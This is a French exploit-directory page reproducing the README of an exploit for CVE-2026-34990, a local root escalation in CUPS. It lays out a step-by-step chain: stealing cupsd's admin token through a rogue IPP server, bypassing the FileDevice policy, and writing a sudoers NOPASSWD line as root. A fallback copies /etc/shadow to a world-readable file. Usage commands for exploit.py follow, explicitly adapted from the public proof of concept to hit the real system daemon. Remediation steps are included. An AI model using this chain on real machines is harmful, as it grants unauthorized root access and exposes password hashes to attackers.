Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-34990 — Élévation de privilèges locale contre un `cupsd` root. | Kitploit
Outils/GitHubGitHub/gbuyssens/cve-2026-34990
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubgbuyssens/cve-2026-34990

CVE-2026-34990

Élévation de privilèges locale contre un `cupsd` root.

Voir le dépôt
il y a 3 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-34990 — élévation de privilèges locale dans CUPS (cups2root, dé-harnaché)

CVSS 3.x : 8.4 HIGH   (approx — verify)
CWE      : CWE-287 (Improper Authentication) + CWE-269 (Improper Privilege Mgmt)
Fix      : CUPS 2.4.17+
Affects  : CUPS ≤ 2.4.16 with cupsd running as root and 631 reachable locally

Élévation de privilèges locale contre un cupsd s'exécutant en root. Lorsqu'il est contraint d'agir comme client IPP face à un serveur local malveillant, cupsd répond à un défi 401 WWW-Authenticate: Local en rejouant son propre jeton d'administration. La capture de ce jeton permet à un utilisateur non privilégié de piloter cupsd en tant qu'admin (root). Une file d'impression file:// persistante (printer-is-temporary=false) contourne la politique FileDevice, de sorte qu'un Print-Job brut écrit les octets de l'attaquant vers n'importe quel chemin en tant que root — ici un fragment sudoers NOPASSWD.


Table des matières

  • Résumé de la vulnérabilité
  • Cause racine
  • Chaîne d'attaque
  • Dé-harnachement vs le PoC public
  • Versions affectées
  • Ce dépôt
  • Utilisation
  • Remédiation
  • Références

Résumé de la vulnérabilité

Deux primitives s'enchaînent pour aboutir à une écriture de fichier arbitraire en root :

  1. Authentification Local réutilisable. cupsd accepte une authentification Local adossée à un certificat root sous /run/cups/certs/. Agissant comme client IPP, il fournit spontanément ce jeton d'administration lorsqu'il est mis au défi par 401 WWW-Authenticate: Local. Pointez cupsd vers un faux serveur IPP que vous contrôlez et vous capturez un jeton valide pour le piloter en root.
  2. Contournement de FileDevice. file:// en tant que device-uri est refusé par défaut. Créer la file avec printer-is-temporary=false la rend persistante et contourne cette protection ; un Print-Job brut écrit alors ses octets directement dans le fichier cible, en tant que root.

Cause racine

                  cupsd (root)                     rogue server 127.0.0.1:9189
                       |                                    |
  CUPS-Create-Local-Printer                                 |
  device-uri=ipp://127.0.0.1:9189/ipp/print                 |
                       |  "validate" the printer            |
                       |----------------------------------->|
                       |   401 WWW-Authenticate: Local      |
                       |<-----------------------------------|
                       |   retry + Authorization: Local <T> |
                       |----------------------------------->|  capture <T>

<T> est le propre jeton d'administration de cupsd — rejouez-le contre /admin/ et vous êtes équivalent root.


Chaîne d'attaque

1. Cap thread          bind 127.0.0.1:9189, answer 401 Local, capture token
2. Coerce              CUPS-Create-Local-Printer -> device-uri ipp://127.0.0.1:9189/...
                       -> cupsd connects out -> 401 -> retry -> [+] Local token
3. Root write          CUPS-Add-Modify-Printer  device-uri=file:///etc/sudoers.d/<user>-pwn
                       printer-is-temporary=false (FileDevice bypass) + accept + resume
                       Print-Job (application/vnd.cups-raw, gzip) = "<user> ALL=(ALL) NOPASSWD: ALL"
4. Verify              sudo -n id   ->   root
   (fallback: a root cron job dropped to /etc/cron.d/<user>-pwn copies /etc/shadow
    to /tmp/shadow-<user> mode 644; wait ≤90s for cron)

Dé-harnachement vs le PoC public

Le PoC de référence (GHSA-c54j-2vqw-wpwp / cups2root, R. de Jager) est un harnais de démonstration : il s'exécute en root, lance son propre cupsd et un utilisateur jetable unpriv, puis sudo -u unpriv pour simuler l'attaquant. Inutilisable tel quel. Modifications :

  1. Dé-harnaché — pas d'échafaudage root/spawn ; cible le cupsd système déjà root sur 127.0.0.1:631.
  2. Cible réelle — attaquant = utilisateur courant (ou $ATTACKER) ; fragment <user> ALL=(ALL) NOPASSWD: ALL.
  3. IPP brut sur sockets — réécriture complète sans ipptool / lpadmin / lpinfo / cupsctl

Versions affectées

StatutVersions
VulnérableCUPS ≤ 2.4.16
CorrigéCUPS 2.4.17 et ultérieur

Ce dépôt

FichierRôle
exploit.pyPoC : fuite de jeton → file file:// → Print-Job brut → root via sudoers
README.mdCe fichier

Utilisation

Bibliothèque standard Python 3 uniquement — aucune dépendance.

# attacker = current user, cupsd on 127.0.0.1:631
python3 exploit.py

# override the target user (e.g. after landing as anotheruser)
ATTACKER=anotheruser python3 exploit.py

# non-default cupsd / capture endpoint
IPP_HOST=127.0.0.1 IPP_PORT=631 CAPTURE_PORT=9189 python3 exploit.py

En cas de succès :

[+] Local token: <token>
[+] ROOT via sudoers

puis sudo -i.


Remédiation

  1. Mettre à niveau vers CUPS 2.4.17+.
  2. Ne pas exécuter cupsd en root lorsque c'est évitable ; abandonner les privilèges / sandboxer le service.
  3. Restreindre l'authentification Local et le backend de périphérique file:// ; maintenir la politique FileDevice appliquée pour les files persistantes.
  4. Si l'impression n'est pas nécessaire : systemctl disable --now cups cups-browsed et supprimer le paquet.

Références

  • NVD — CVE-2026-34990
  • GHSA-c54j-2vqw-wpwp — cups2root (R. de Jager, v12-security)
  • Notes de version d'OpenPrinting CUPS 2.4.17

Avertissement

Ce projet est destiné uniquement aux tests de sécurité autorisés, à l'éducation et à la recherche défensive. Il vous incombe de respecter les lois applicables et les règles d'engagement de votre laboratoire ou client.

Télécharger l’outil